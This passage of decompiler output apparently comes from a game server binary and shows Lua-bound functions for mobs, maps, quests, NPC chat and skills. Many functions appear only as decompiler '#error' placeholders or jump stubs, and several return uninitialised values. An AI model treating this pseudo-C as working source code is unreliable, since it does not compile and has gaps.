v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cTimer"); result = 0; } } else { --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cTimer"); result = 0; } return result; } //----- (005A4970) -------------------------------------------------------- #error "5A4970: undefined or illegal type '#593' (funcsize=100)" //----- (005A4AE0) -------------------------------------------------------- #error "5A4AE0: undefined or illegal type '#593' (funcsize=116)" //----- (005A4C70) -------------------------------------------------------- #error "5A4C70: undefined or illegal type '#1265' (funcsize=117)" //----- (005A4E10) -------------------------------------------------------- int __cdecl cLinkTo(lua_State *L) { JUMPOUT(sub_5A4E45); } //----- (005A4E45) -------------------------------------------------------- #error "5A4E55: positive sp value has been found (funcsize=3)" //----- (005A5070) -------------------------------------------------------- #error "5A5070: undefined or illegal type '#593' (funcsize=94)" //----- (005A51D0) -------------------------------------------------------- int __cdecl cGetAroundCoord(lua_State *L) { long double v1; // st7@1 int v2; // edi@1 signed int v4; // ebx@3 int v5; // ebp@3 int v6; // eax@3 SHINE_XY_TYPE Coord; // [sp+1Ch] [bp-14h]@3 int v8; // [sp+2Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetAroundCoord"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetAroundCoord"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( v2 ) { v4 = (unsigned __int64)lua_tonumberx(L, 2, 0); v5 = (unsigned __int64)lua_tonumberx(L, 3, 0); v6 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v2); Coord.x = *(_DWORD *)v6; Coord.y = *(_DWORD *)(v6 + 4); DirectDistanceTable::ddt_GetFoward(&ddt, v4 % 360 / 2, v5, &Coord); lua_pushnumber(L, (double)Coord.x); lua_pushnumber(L, (double)Coord.y); --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetAroundCoord"); JUMPOUT(*(int *)sub_5A5345); } --funcallanalizer.fca_stackpoint; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetAroundCoord"); return 0; } // 5A5345: using guessed type int sub_5A5345(); //----- (005A5345) -------------------------------------------------------- #error "FFFFFFFF: positive sp value has been found (funcsize=0)" //----- (005A5360) -------------------------------------------------------- int __cdecl cGetDirect(lua_State *L) { long double v1; // st7@1 int v2; // eax@1 int result; // eax@2 char v4; // al@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetDirect"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetDirect"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tonumberx(L, 1, 0); v2 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( v2 ) { v4 = ShineObjectClass::ShineObject::so_GetDirect(v2); lua_pushnumber(L, (double)(unsigned __int16)(2 * (unsigned __int8)v4)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetDirect"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetDirect"); result = 0; } return result; } //----- (005A5480) -------------------------------------------------------- #error "5A5480: undefined or illegal type '#593' (funcsize=79)" //----- (005A55A0) -------------------------------------------------------- int __cdecl cSetFieldPKType(lua_State *L) { signed int v1; // edi@1 long double v2; // st7@1 int v3; // eax@1 int v4; // esi@1 int v5; // eax@3 int v6; // eax@3 int v7; // eax@3 AxialListPkTypeProtocolSend alps; // [sp+10h] [bp-14h]@3 int v10; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cSetFieldPKType"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cSetFieldPKType"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v1 = (unsigned __int64)lua_tonumberx(L, 1, 0); v2 = lua_tonumberx(L, 2, 0); v3 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v2); v4 = v3; if ( v3 && ShineObjectClass::ShineObject::so_CurMapname(v3) ) { v5 = ShineObjectClass::ShineObject::so_CurMapname(v4); FieldMap::fm_SetCurFieldPKType((void *)v5, v1); AxialListPkTypeProtocolSend::AxialListPkTypeProtocolSend(&alps, NORMAL_MAP); LOBYTE(v10) = 1; v6 = ShineObjectClass::ShineObject::so_CurMapname(v4); v7 = FieldMap::fm_GetCenterObject((void *)v6); ShineObjectClass::ShineObject::so_AllInMap((void *)v7, (int)&alps, 0); LOBYTE(v10) = 0; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alps); } --funcallanalizer.fca_stackpoint; v10 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cSetFieldPKType"); return 0; } //----- (005A56C0) -------------------------------------------------------- #error "5A56C0: undefined or illegal type '#593' (funcsize=204)" //----- (005A5950) -------------------------------------------------------- #error "5A5950: undefined or illegal type '#593' (funcsize=116)" //----- (005A5AD0) -------------------------------------------------------- #error "5A5AD0: undefined or illegal type '#593' (funcsize=88)" //----- (005A5DE0) -------------------------------------------------------- int __cdecl cMobSuicide(lua_State *L) { const char *v1; // eax@1 int result; // eax@2 void *v3; // eax@3 void *v4; // esi@3 int v5; // eax@5 AxialListMobSuicide AlMobSuicide; // [sp+8h] [bp-14h]@5 int v7; // [sp+18h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cMobSuicide"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cMobSuicide"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; v1 = lua_tolstring(L, 1, 0); if ( v1 ) { v3 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1); v4 = v3; if ( v3 ) { if ( FieldMap::fm_GetCenterObject(v3) ) { AxialListIterator::AxialListIterator(&AlMobSuicide.baseclass_0); AlMobSuicide.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AlMobSuicide.alms_MobID = -1; LOBYTE(v7) = 1; v5 = FieldMap::fm_GetCenterObject(v4); ShineObjectClass::ShineObject::so_AllInMap((void *)v5, (int)&AlMobSuicide, 0); LOBYTE(v7) = 0; AlMobSuicide.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListMobSuicide::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&AlMobSuicide); } } --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cMobSuicide"); result = 0; } else { --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cMobSuicide"); result = 0; } return result; } // 633D2C: using guessed type int (__thiscall *AxialListMobSuicide___vftable_)(AxialListMobSuicide *this, int, #593 *obj, int distancesquar); //----- (005A5F10) -------------------------------------------------------- #error "5A5F10: undefined or illegal type '#593' (funcsize=75)" //----- (005A6000) -------------------------------------------------------- int __cdecl cQuestResult(lua_State *L) { const char *v1; // eax@1 void *v3; // eax@3 void *v4; // ebp@3 const char *v5; // eax@5 int v6; // edi@7 const char *v7; // esi@7 signed int v8; // ecx@7 bool v9; // zf@7 int v10; // edi@12 const char *v11; // esi@12 signed int v12; // ecx@12 bool v13; // zf@12 int v14; // eax@17 FunctionEntarance _; // [sp+18h] [bp-1Ch]@1 AxialListKQEndLua alkel; // [sp+1Ch] [bp-18h]@11 int v17; // [sp+30h] [bp-4h]@1 _.fe_FunctionCode = "cQuestResult"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cQuestResult"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cQuestResult"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; v1 = lua_tolstring(L, 1, 0); if ( !v1 ) { --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cQuestResult"); return 0; } v3 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1); v4 = v3; if ( !v3 || !FieldMap::fm_GetCenterObject(v3) || (v5 = lua_tolstring(L, 2, 0)) == 0 ) { --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cQuestResult"); return 0; } v6 = (int)"Success"; v7 = v5; v8 = 8; v9 = 1; do { if ( !v8 ) break; v9 = *v7++ == *(_BYTE *)v6++; --v8; } while ( v9 ); if ( v9 ) { AxialListKQEndLua::AxialListKQEndLua(&alkel, 22, 18); LOBYTE(v17) = 1; LABEL_17: v14 = FieldMap::fm_GetCenterObject(v4); ShineObjectClass::ShineObject::so_AllInMap((void *)v14, (int)&alkel, 0); LOBYTE(v17) = 0; alkel.baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEndLua::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&alkel); FieldMap::fm_ClearObject(v4, 0x1B0u); lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cQuestResult"); return 1; } v10 = (int)"Fail"; v11 = v5; v12 = 5; v13 = 1; do { if ( !v12 ) break; v13 = *v11++ == *(_BYTE *)v10++; --v12; } while ( v13 ); if ( v13 ) { AxialListKQEndLua::AxialListKQEndLua(&alkel, 22, 19); LOBYTE(v17) = 2; goto LABEL_17; } v17 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } // 67F59C: using guessed type int (__thiscall *AxialListKQEndLua___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (005A61F0) -------------------------------------------------------- int __cdecl cRandomInt(lua_State *L) { long double v1; // st7@1 int v2; // edi@1 signed int v3; // eax@1 long double v4; // st7@2 char *v5; // eax@5 int v6; // ecx@5 unsigned __int16 v7; // ax@5 signed int lower; // [sp+10h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cRandomInt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cRandomInt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tonumberx(L, 1, 0); v2 = (unsigned __int64)v1; lower = (unsigned __int64)v1; v3 = (unsigned __int64)lua_tonumberx(L, 2, 0) - v2 + 1; if ( v3 > 1 ) { if ( v3 && (unsigned int)v3 <= 0x64 ) { v5 = (char *)&rndbox + 32776 * v3; v6 = (*((_DWORD *)v5 + 8192) + 1) & *((_DWORD *)v5 + 8193); *((_DWORD *)v5 + 8192) = v6; v7 = *(_WORD *)&v5[2 * v6]; } else { v7 = 0; } v4 = (double)(v2 + v7); } else { v4 = (double)lower; } lua_pushnumber(L, v4); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cRandomInt"); return 1; } //----- (005A62E0) -------------------------------------------------------- int __cdecl cMobIDFind(lua_State *L) { const char *v1; // eax@1 int result; // eax@2 signed int v3; // ST10_4@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cObjectLocate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cObjectLocate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tolstring(L, 1, 0); if ( v1 ) { v3 = MobDataBox::mdb_2MobID(&mobdatabox, v1); lua_pushnumber(L, (double)v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cObjectLocate"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cObjectLocate"); result = 0; } return result; } //----- (005A63E0) -------------------------------------------------------- #error "5A63E0: undefined or illegal type '#593' (funcsize=92)" //----- (005A6530) -------------------------------------------------------- #error "5A6530: undefined or illegal type '#593' (funcsize=113)" //----- (005A66A0) -------------------------------------------------------- int __cdecl cIsInMap(lua_State *L) { long double v1; // st7@1 int result; // eax@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cIsInMap"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cIsInMap"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tonumberx(L, 1, 0); if ( ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1) ) { lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cIsInMap"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cIsInMap"); result = 0; } return result; } //----- (005A67A0) -------------------------------------------------------- #error "5A67A0: undefined or illegal type '#593' (funcsize=116)" //----- (005A6920) -------------------------------------------------------- #error "5A6920: undefined or illegal type '#593' (funcsize=101)" //----- (005A6A80) -------------------------------------------------------- #error "5A6A80: undefined or illegal type '#593' (funcsize=87)" //----- (005A6BC0) -------------------------------------------------------- int __cdecl cMessage(lua_State *L) { long double v1; // st7@1 #593 *v2; // edi@1 const char *v3; // ebp@3 unsigned __int16 v4; // bx@4 char *v5; // eax@6 char *v7; // [sp+4h] [bp-24h]@2 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cMessage"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cMessage"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tonumberx(L, 1, 0); v2 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( !v2 ) { v7 = "cMessage"; LABEL_8: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); return 0; } v3 = lua_tolstring(L, 2, 0); if ( !v3 ) goto LABEL_12; v4 = -1; if ( lua_isnumber(L, 3) ) v4 = (unsigned __int64)lua_tonumberx(L, 3, 0); v5 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 27666; strncpy(v5 + 2, v3, 0x10u); if ( !cLuaBroadcast(v2, v4, &gpp, 19) ) { LABEL_12: v7 = "cMessage"; goto LABEL_8; } lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cMessage"); return 1; } //----- (005A6D40) -------------------------------------------------------- int __cdecl cNPCChat(lua_State *L) { int v1; // edi@1 #593 *v2; // ebx@1 char *v3; // ebp@6 char *v4; // ST10_4@6 int result; // eax@7 int towhom; // [sp+18h] [bp-18h]@4 const char *chat; // [sp+1Ch] [bp-14h]@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cNPCChat"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cNPCChat"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = (unsigned __int64)lua_tonumberx(L, 1, 0); v2 = ShineObjectManager::som_GetObject(&shineobjmanager, v1); if ( !v2 || (chat = lua_tolstring(L, 2, 0)) == 0 ) goto LABEL_11; LOWORD(towhom) = -1; if ( lua_isnumber(L, 3) ) towhom = (unsigned __int64)lua_tonumberx(L, 3, 0); v3 = gpp.pp_Buffer + 2; v4 = gpp.pp_Buffer + 2; *(_WORD *)gpp.pp_Buffer = 27665; strncpy(v4, chat, 0x10u); *(_WORD *)(v3 + 17) = v1; if ( cLuaBroadcast(v2, towhom, &gpp, 21) ) { lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cNPCChat"); result = 1; } else { LABEL_11: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cNPCChat"); result = 0; } return result; } //----- (005A6ED0) -------------------------------------------------------- int __cdecl cGroupRegen(lua_State *L) { const char *v1; // edi@1 const char *v2; // eax@1 const char *v3; // ebp@1 MobRegenClass::MobBreederGroup *v4; // eax@3 int result; // eax@6 ORToken v6; // [sp-Ch] [bp-48h]@3 int v7; // [sp-8h] [bp-44h]@3 int v8; // [sp-4h] [bp-40h]@3 double v9; // [sp+0h] [bp-3Ch]@3 ORToken *v10; // [sp+18h] [bp-24h]@1 FunctionEntarance _; // [sp+1Ch] [bp-20h]@1 Name3 mapname; // [sp+20h] [bp-1Ch]@3 unsigned int v13; // [sp+2Ch] [bp-10h]@1 int v14; // [sp+38h] [bp-4h]@1 v13 = (unsigned int)&v10 ^ __security_cookie; _.fe_FunctionCode = "cGroupRegen"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGroupRegen"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGroupRegen"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v1 = lua_tolstring(L, 1, 0); v2 = lua_tolstring(L, 2, 0); v3 = v2; if ( v1 && v2 && (*(_QWORD *)&mapname.n3_name[4] = 0i64, *(_DWORD *)&mapname.n3_name[0] = 0, strncpy(mapname.n3_name, v1, 0xCu), v10 = &v6, v9 = 0.0, v8 = 0, v7 = 0, *(_DWORD *)&v6.ort_Name[0] = 0, strncpy(v6.ort_Name, v3, 0x14u), (v4 = MobHatchery::mg_FindBreedGroup(mobhatchery, &mapname, v6)) != 0) ) { MobRegenClass::MobBreederGroup::mbg_RegenFromLua(v4); lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGroupRegen"); } else { --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGroupRegen"); } __security_check_cookie((unsigned int)&v10 ^ v13); return result; } //----- (005A7040) -------------------------------------------------------- int __cdecl cRegenGroupActiv(lua_State *L) { const char *v1; // edi@1 const char *v2; // eax@1 const char *v3; // ebp@1 MobRegenClass::MobBreederGroup *v4; // eax@5 int result; // eax@8 ORToken v6; // [sp-Ch] [bp-4Ch]@5 int v7; // [sp-8h] [bp-48h]@5 int v8; // [sp-4h] [bp-44h]@5 double v9; // [sp+0h] [bp-40h]@5 int activ; // [sp+18h] [bp-28h]@1 FunctionEntarance _; // [sp+1Ch] [bp-24h]@1 ORToken *v12; // [sp+20h] [bp-20h]@5 Name3 mapname; // [sp+24h] [bp-1Ch]@3 unsigned int v14; // [sp+30h] [bp-10h]@1 int v15; // [sp+3Ch] [bp-4h]@1 v14 = (unsigned int)&activ ^ __security_cookie; _.fe_FunctionCode = "cRegenGroupActiv"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cRegenGroupActiv"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cRegenGroupActiv"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v15 = 0; v1 = lua_tolstring(L, 1, 0); v2 = lua_tolstring(L, 2, 0); v3 = v2; if ( !v1 || !v2 ) goto LABEL_11; *(_QWORD *)&mapname.n3_name[4] = 0i64; *(_DWORD *)&mapname.n3_name[0] = 0; strncpy(mapname.n3_name, v1, 0xCu); LOBYTE(activ) = 1; if ( lua_isnumber(L, 3) ) LOBYTE(activ) = (unsigned __int64)lua_tonumberx(L, 3, 0); v12 = &v6; v9 = 0.0; v8 = 0; v7 = 0; *(_DWORD *)&v6.ort_Name[0] = 0; strncpy(v6.ort_Name, v3, 0x14u); v4 = MobHatchery::mg_FindBreedGroup(mobhatchery, &mapname, v6); if ( v4 ) { MobRegenClass::MobBreederGroup::mbg_SetEnableNextRegen(v4, activ); lua_pushnumber(L, 1.0); --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cRegenGroupActiv"); } else { LABEL_11: --funcallanalizer.fca_stackpoint; v15 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cRegenGroupActiv"); } __security_check_cookie((unsigned int)&activ ^ v14); return result; } //----- (005A71E0) -------------------------------------------------------- void __thiscall AxialListMobIndexVanish::AxialListMobIndexVanish(AxialListMobIndexVanish *this, const char *mobindex, int *number) { AxialListMobIndexVanish *v3; // ebx@1 v3 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v3->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobIndexVanish::_vftable_; *(_DWORD *)&v3->almiv_Index.n8_name[28] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[24] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[20] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[16] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[12] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[8] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[4] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[0] = 0; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AxialListMobIndexVanish::AxialListMobIndexVanish"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListMobIndexVanish::AxialListMobIndexVanish"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)&v3->almiv_Index.n8_name[28] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[24] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[20] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[16] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[12] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[8] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[4] = 0; *(_DWORD *)&v3->almiv_Index.n8_name[0] = 0; strncpy(v3->almiv_Index.n8_name, mobindex, 0x20u); v3->almiv_Number = number; *number = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AxialListMobIndexVanish::AxialListMobIndexVanish"); } // 67F5A0: using guessed type int (__stdcall *AxialListMobIndexVanish___vftable_[2])(int, int, int distancesquar); //----- (005A72D0) -------------------------------------------------------- #error "5A72D0: undefined or illegal type '#593' (funcsize=63)" //----- (005A73C0) -------------------------------------------------------- int __cdecl cVanishAll(lua_State *L) { const char *v1; // eax@1 void *v2; // eax@3 void *v3; // edi@3 const char *v4; // eax@5 int v5; // eax@6 int result; // eax@9 char *v7; // [sp+4h] [bp-50h]@2 int number; // [sp+14h] [bp-40h]@1 FunctionEntarance _; // [sp+18h] [bp-3Ch]@1 AxialListMobIndexVanish almiv; // [sp+1Ch] [bp-38h]@6 unsigned int v11; // [sp+44h] [bp-10h]@1 int v12; // [sp+50h] [bp-4h]@1 v11 = (unsigned int)&number ^ __security_cookie; _.fe_FunctionCode = "cVanishAll"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cVanishAll"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cVanishAll"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v1 = lua_tolstring(L, 1, 0); if ( !v1 ) { v7 = "cVanishAll"; LABEL_8: --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v7); goto LABEL_9; } v2 = (void *)FieldContainer::fc_FindMap(&fieldlist, v1); v3 = v2; if ( !v2 || !FieldMap::fm_GetCenterObject(v2) || (v4 = lua_tolstring(L, 2, 0)) == 0 ) { v7 = "cVanishAll"; goto LABEL_8; } AxialListMobIndexVanish::AxialListMobIndexVanish(&almiv, v4, &number); LOBYTE(v12) = 1; v5 = FieldMap::fm_GetCenterObject(v3); ShineObjectClass::ShineObject::so_AllInMap((void *)v5, (int)&almiv, 0); lua_pushnumber(L, (double)number); LOBYTE(v12) = 0; almiv.baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobIndexVanish::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)&almiv); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cVanishAll"); LABEL_9: __security_check_cookie((unsigned int)&number ^ v11); return result; } // 67F5A0: using guessed type int (__stdcall *AxialListMobIndexVanish___vftable_[2])(int, int, int distancesquar); //----- (005A7520) -------------------------------------------------------- #error "5A7520: undefined or illegal type '#593' (funcsize=108)" //----- (005A7680) -------------------------------------------------------- #error "5A7680: undefined or illegal type '#593' (funcsize=64)" //----- (005A7790) -------------------------------------------------------- #error "5A7790: undefined or illegal type '#593' (funcsize=132)" //----- (005A7960) -------------------------------------------------------- int __cdecl cSkillBlast(lua_State *L) { long double v1; // st7@1 int v2; // edi@1 long double v3; // st7@1 #593 *v4; // eax@1 int v5; // ebx@1 const char *v6; // eax@3 int v7; // ebp@4 int v8; // eax@4 int result; // eax@6 FunctionEntarance _; // [sp+20h] [bp-10h]@1 int v11; // [sp+2Ch] [bp-4h]@1 _.fe_FunctionCode = "cSkillBlast"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cSkillBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cSkillBlast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v11 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); v3 = lua_tonumberx(L, 2, 0); v4 = ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v3); v5 = (int)v4; if ( v2 && v4 && (v6 = lua_tolstring(L, 3, 0)) != 0 ) { *(_DWORD *)&skillbtreeunion = BTree::operator__(&skillnametree, v6); v7 = (unsigned __int64)lua_tonumberx(L, 4, 0); v8 = ShineObjectClass::ShineObject::so_DistanceSquar(v2, v5); if ( v7 ) { if ( v8 > (unsigned int)(v7 * v7) ) { LABEL_6: v11 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } } else { if ( (unsigned int)v8 > 0xF4240 ) goto LABEL_6; } if ( !(unsigned __int8)(*(int (__thiscall **)(int, int, _DWORD))(*(_DWORD *)v2 + 3044))(v2, v5, skillbtreeunion) ) goto LABEL_6; lua_pushnumber(L, 1.0); v11 = -1; FunctionEntarance::_FunctionEntarance(&_); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cSkillBlast"); result = 0; } return result; } //----- (005A7B10) -------------------------------------------------------- #error "5A7B10: undefined or illegal type '#593' (funcsize=174)" //----- (005A7D60) -------------------------------------------------------- #error "5A7D60: undefined or illegal type '#593' (funcsize=37)" //----- (005A7E10) -------------------------------------------------------- int __cdecl cGetTargetList(lua_State *L) { long double v1; // st7@1 void *v2; // edi@1 int result; // eax@2 char *v4; // ebx@3 int v5; // eax@3 int v6; // edi@3 int i; // eax@3 signed int v8; // ST34_4@4 int center; // [sp+1Ch] [bp-66Ch]@3 int v10; // [sp+20h] [bp-668h]@3 FunctionEntarance _; // [sp+24h] [bp-664h]@1 int (__stdcall **aleia)(int, int, int); // [sp+28h] [bp-660h]@3 void *v13; // [sp+670h] [bp-18h]@3 int v14; // [sp+684h] [bp-4h]@1 _.fe_FunctionCode = "cGetTargetList"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cGetTargetList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cGetTargetList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v14 = 0; v1 = lua_tonumberx(L, 1, 0); v2 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, (unsigned __int64)v1); if ( v2 ) { center = (unsigned __int64)lua_tonumberx(L, 2, 0); v10 = (unsigned __int64)lua_tonumberx(L, 3, 0); v4 = (char *)(unsigned __int64)lua_tonumberx(L, 4, 0); AxialListNearScan::AxialListNearScan((AxialListNearScan *)&aleia); aleia = &AxialListEnemyInAray::_vftable_; v13 = v2; LOBYTE(v14) = 1; v5 = AllOfRangeArgument::operator unsigned_long(&allofrangearg); ShineObjectClass::ShineObject::so_AllOfRange(v2, v5, (int)¢er, v4, 0, (int)&aleia, 0, 65535); v6 = 0; for ( i = (int)AxialListNearScan::alns_GetMember((AxialListNearScan *)&aleia, 0); i; i = (int)AxialListNearScan::alns_GetMember((AxialListNearScan *)&aleia, v6) ) { v8 = (unsigned __int16)AxialListNearGateFind::alngf_Gethandle(i); lua_pushnumber(L, (double)v8); ++v6; } LOBYTE(v14) = 0; aleia = &AxialListEnemyInAray::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)&aleia); --funcallanalizer.fca_stackpoint; v14 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cGetTargetList"); result = v6; } else { --funcallanalizer.fca_stackpoint; v14 